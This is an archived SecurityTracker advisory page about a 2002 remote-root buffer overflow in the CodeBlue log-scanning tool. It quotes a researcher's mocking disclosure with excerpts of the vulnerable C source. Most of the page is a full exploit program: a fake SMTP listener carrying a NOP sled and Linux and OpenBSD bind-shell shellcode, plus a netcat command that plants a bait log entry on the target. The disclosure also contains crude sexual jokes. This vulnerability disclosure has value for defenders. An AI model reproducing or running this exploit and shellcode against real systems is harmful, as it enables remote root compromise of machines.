SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   CodeBlue Vendors:   Apollyon
(Additional Exploit Code is Released) Re: CodeBlue Log File Analysis Software Has Buffer Overflow That Allows Remote Users to Obtain Root Privileges
SecurityTracker Alert ID:  1004832
SecurityTracker URL:  http://securitytracker.com/id/1004832
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 25 2002
Impact:   Execution of arbitrary code via network, Root access via network
Exploit Included:  Yes  
Version(s): 4
Description:   A vulnerability was reported in the CodeBlue log file analysis program. A remote user can obtain root access on the system running CodeBlue.

In the original message, a vulnerability was reported in the CodeBlue log file analysis program. A remote user can obtain root access on the system running CodeBlue.

In this message from a different user, another exploit is provided (see the Source Message for the exploit code).

CodeBlue is apparently designed to review Apache web server log files to look for entries made by various worms (e.g., CodeRed, NIMDA) and, if any are found, to e-mail the affected site. Apparently, CodeBlue also processes SMTP messages returned by the affected site. It is reported that CodeBlue contains a buffer overflow in its processing of SMTP responses.

A remote user can generate a NIMDA-like entry with the following type of request made to port 80 of the target host:

GET /default.ida?NNNNNN HTTP/1.0\n\n

Then, the remote user can wait until CodeBlue runs on the target host and then send a specially crafted SMTP message back to the server running CodeBlue. This specially crafted message may trigger a buffer overflow in CodeBlue, resulting in arbitrary code execution with root privileges on the system running CodeBlue.

Impact:   A remote user can cause arbitrary code to be executed with root privileges on the host running CodeBlue.
Solution:   No solution was available at the time of this entry.
Vendor URL:  freshmeat.net/projects/codeblue/ (Links to External Site)
Cause:   Boundary error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry is a follow-up to the message listed below.
Feb 17 2002 CodeBlue Log File Analysis Software Has Buffer Overflow That Allows Remote Users to Obtain Root Privileges



 Source Message Contents

Subject:  Potential remote root in CodeBlue log scanner


TITLE: Potential remote root in CodeBlue log scanner
NAME: DEMI SEX GOD FROM HELL ADV 00001
DATE: YES, PLEASE MAIL ME IF YOU ARE FEMALE (send pictures)
CRAZY TRACKING NUMBER THAT MAKES IT LOOK LIKE I HAVE SOME MASSIVE DATABASE OF
JUAREZ: 7363A64B02

Props to dme@#!

Information
-----------

About:

CodeBlue is an attempt to increase the awareness of hosts that are infected
with malicious worms by scanning Apache log files and emailing the infected
hosts with details of their infection and how to obtain help removing the
worm. Currently, CodeBlue scans Apache logs for Code Red, Code Red 2, and
Nimda.

Author: Michael <mystic at tenebrous.com>

So lets have a look at this.

$ ls
CHANGES     COPYING     Makefile    README      codeblue.c
$ head COPYING
                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

/* uh-oh */

$ vi codeblue.c
/*
 * $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01
 * root Exp root $
 *
 ******************************************************************************************
 *                      -[ G O D  B L E S S  A M E R I C A ]-
 *
 ******************************************************************************************
 *
 *            CodeBlue v5.0 by Michael (mystic@tenebrous.com)
 *  This software is freely distributable under the terms of the GNU/GPL.
 *                    Please see file 'COPYING'

/* god bless america all its citizens */

....

/* line ~273 */
/*
 * siginal_init:
 * sets up all the signals we'd like
 * to handle specially
 */
void signal_init(void)
{
    struct sigaction sa_old, sa_new;

    /* signal handling */
    sa_new.sa_handler = signal_handler;
    sigemptyset(&sa_new.sa_mask);
    sa_new.sa_flags = 0;
    sigaction(SIGINT, &sa_new, &sa_old);
    sigaction(SIGPIPE, &sa_new, &sa_old);
}

/* shared signal handler doing all sorts of stuff, not very good :( */

/* line ~289 */

/*********************************************************************
 * Our close() wrapper
 */
int Close(int sd)
{
    return (close(sd));
}

/* that just made me laugh */

/* line ~661 */

char logline[512]; /* logline is global */

int scan_file(FILE * fp)
{
    char buffer[1024];

....

        fgets(buffer, 1024, fp);

....

        if (found_infected == 1) { /* if it picks up a worm entry in the */
				   /* log this is true */

            strcpy(logline, buffer);

	    /* oh dear */

/* line ~827 */

char reply[512]; /* global */
char whoispath[512] = "/usr/bin/whois"; /* global */

int main(int argc, char **argv)
{

 	.....

            if (argv[i][0] == '-')
                switch (argv[i][1]) {
                case 'e':{      /* return email address */
                        if ((!argv[i + 1]) || (argv[i + 1][0] == '-'))
                            DieWithRequire(argv[i]);
                        strcpy(reply, argv[i + 1]);
                        break;
                    }
                case 'p':{      /* path to whois binary */
                        if ((!argv[i + 1]) || (argv[i + 1][0] == '-'))
                            DieWithRequire(argv[i]);
                        strcpy(whoispath, argv[i + 1]);
                        break;
                    }

	/* whoops! */


Now, all this is good for a laugh, but unless its suid, not much use :(

CodeBlue will scan apache/squid logfiles looking for code red and nimda log
hits. If it finds a hit, it will connect to the source ip adress of the hit
and send an email warning of infection.

The function that does this is send_email() (line ~552)

It starts off like this:

int send_email(void)
{
	int sd;
	char *host = malloc(sizeof(char) * 512);

/*  .... silly crap using popen and stuff .... */

	/* host is the infected host from the logfiles
 	 * this will connect to the host on port 25
	 */

    if ((sd = smtp_connect(host)) < SUCCESS)
        return -1;

/* Step 0 - Get initial server response */
    get_smtp_reply(sd);

/* this is the function of interest */

/* line ~345 */
/*********************************************************************
 * fetches a reply from the SMTP server
 */
int get_smtp_reply(int sd)
{
    char response[1024]; /* this is the remote host's mail server buf */

	....


    /*
     * We'll loop infinately, receiving
     * 1 byte at a time until we receive a carriage return
     * or line-feed character, signifying the end of the output
     */
	/* GEE! THAT SOUNDS LIKE A GOOD IDEA #@!#@! */

	....

    while (TRUE) {
        if (select((sd + 1), &rset, NULL, NULL, &tv) < 0) {
            if (errno != EINPROGRESS) {
                fprintf(stderr, "[ ERROR: select() failed: %s\n",
                        strerror(errno));
                return -1;
            }
        }
        if (recv(sd, (int *) &response[i], 1, RECV_FL) < 0) { /* Hello */
            if (errno == EAGAIN) {
                if (elapsed >= smtp_timeout) {
                    fprintf(stderr, "[ ERROR: operation timed out\n");
                    fprintf(log, "..... ERROR: operation timed out\n");
                    return -1;
                }
                elapsed++;
                usleep(smtp_timeout * 10000);
                continue;
            } else {
                if (!(flags & FL_BEQUIET))
                    fprintf(stderr, "[ ERROR: recv() failed: %s\n",
                            strerror(errno));
                fprintf(log, "..... ERROR: recv() failed: %s\n",
                        strerror(errno));
                return -1;
            }
        }
        if ((response[i] == '\n')
            || ((response[i] == '\n') && (response[i + 1] == '\n')))
            break;
        i++; /* come here often baby? */
    }

So slowly but surely, response is overrun, unless it its a newline.

the full text of this advisory and a semi functional exploit are available at
http://orbital.wiretapped.net/~doe/codeblue.txt

thank you
/*
 * hi, this is an exploit that doesnt work. it should be enough of a point in
 * the right direction though. the overflow is in get_smtp_reply(), codeblue.c
 * is pretty damn poor, there are more!!!
 *
 *
 * To use this against a webserver (A) using codeblue.
 *
 * $ printf "GET /scripts/root.exe\r\n\r\n" | nc A 80
 *
 * this will add an entry in the access log.
 *
 * ON THE SAME HOST:
 *
 * # ./mystic_anus 25
 *
 * wait a while.
 *
 * when codeblue runs it will pull your ip from the logs, connect to your port
 * 25 and try to send you a mail. because mystic is an idiot, you will get a
 * shell with the openbsd code!!!
 *
 * i like exclamation marks !!!!
 *
 * krad haxxor props: dedmunk (happy now#@!!#@) ph1ll1p, caddis, buo, solace,
 * everyone on #cw , everyone in paris (you have a lovely city, i had a lovely
 * time last weekend, thankyou!!!) dedmunk, everyone at netcraft (esp Mike,
 * hi!), everyone in sydney, dedmunk, everyone i go drinking with, anyone who
 * lives in london, marlinspike (yo!), the woman who sells me my cigarettes in
 * the morning on the way into work, thomas greene, dedmunk, adam, durab, sh00ter.
 *
 * propz to dme#!@#!@
 *
 * dont forget:
 *
 * $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 root Exp root $
 *
 ******************************************************************************************
 *                      -[ G O D  B L E S S  A M E R I C A ]-                             *
 ******************************************************************************************
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>


#define OF 2048 /* this is bigger than needed */

/* Optimized the code, now it works better in bad situations */
/* i dont know who wrote this, sorry, if you wrote it, let me know */

char lunix_shellcode[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


/*
 shell on port 6969/tcp shellcode for OpenBSD by noir
*/

long bsd_shellcode[]=
{
  0x4151c931,0x51514151,0x61b0c031,0x078980cd,
  0x4f88c931,0x0547c604,0x084f8902,0x0647c766,
  0x106a391b,0x5004478d,0x5050078b,0x68b0c031,
  0x016a80cd,0x5050078b,0x6ab0c031,0xc93180cd,
  0x078b5151,0xc0315050,0x80cd1eb0,0xc9310789,
  0x50078b51,0xb0c03150,0x4180cd5a,0x7503f983,
  0x5b23ebef,0xc9311f89,0x89074b88,0x8d51044f,
  0x078b5007,0xc0315050,0x80cd3bb0,0x5151c931,
  0x01b0c031,0xd8e880cd,0x2fffffff,0x2f6e6962,
  0x90416873
};

int main(int argc, char *argv[])
{
	struct 	sockaddr_in sock_in;
	struct 	sockaddr_in sock_out;
	char 	*port = "25";
	int 	fd, a;
	int 	len;
	int		opt;
	char bigbuf[OF];
	char *p;
	long lunix_resp = 0xbfffe0ac;
	long bsd_resp = 0xdfbfc068;
	char *moo = "220 ";

	long resp = lunix_resp;
	char *shellcode = lunix_shellcode;

	printf("strlen scode = %d\n", strlen(shellcode));
	if (argc == 2)
		port = argv[1];

	if (argc > 2) {
		fprintf(stderr, "usege: %s [port]\n", argv[0]);
		exit(1);
	}

	resp += 8;

	p = bigbuf;
	memcpy(p, moo, 4);
	p += 4;
	memset(p, '\x90', 1020 - strlen(shellcode));
	p += 1020 - strlen(shellcode);
	memcpy(p, shellcode, strlen(shellcode));
	p += strlen(shellcode);
	memcpy(p, &resp, 4);
	p += 4;
	memcpy(p, &resp, 4);
	p += 4;
	memset(p, '\n', 4);

	if ((fd = socket(PF_INET, SOCK_STREAM, 0)) < 0){
		perror("socket");
		exit(1);
	}

	memset(&sock_in, 0, sizeof(sock_in));
	sock_in.sin_family = AF_INET;
	sock_in.sin_port = htons(atoi(port));
	sock_in.sin_addr.s_addr = INADDR_ANY;
	len = sizeof(sock_in);

	opt = 1;
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) == -1) {
			perror("setsockopt");
			exit(1);
	}

	if (bind(fd, (struct sockaddr *)&sock_in, len) < 0) {
		perror("bind");
		exit(1);
	}

	if (listen(fd, 5) < 0) {
		perror("listen");
		exit(1);
	}

	printf("listening on port %d\n", atoi(port));

	for (;;) {
		len = sizeof(sock_out);
		if ((a = accept(fd, (struct sockaddr *)&sock_out, &len)) < 0){
			perror("accept");
			exit(1);
		}
		printf("got a connection from %s\n", inet_ntoa(sock_out.sin_addr));
		fflush(stdout);

		write(a, bigbuf, sizeof(bigbuf));
		close(a);
	}

	return(1);

}

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC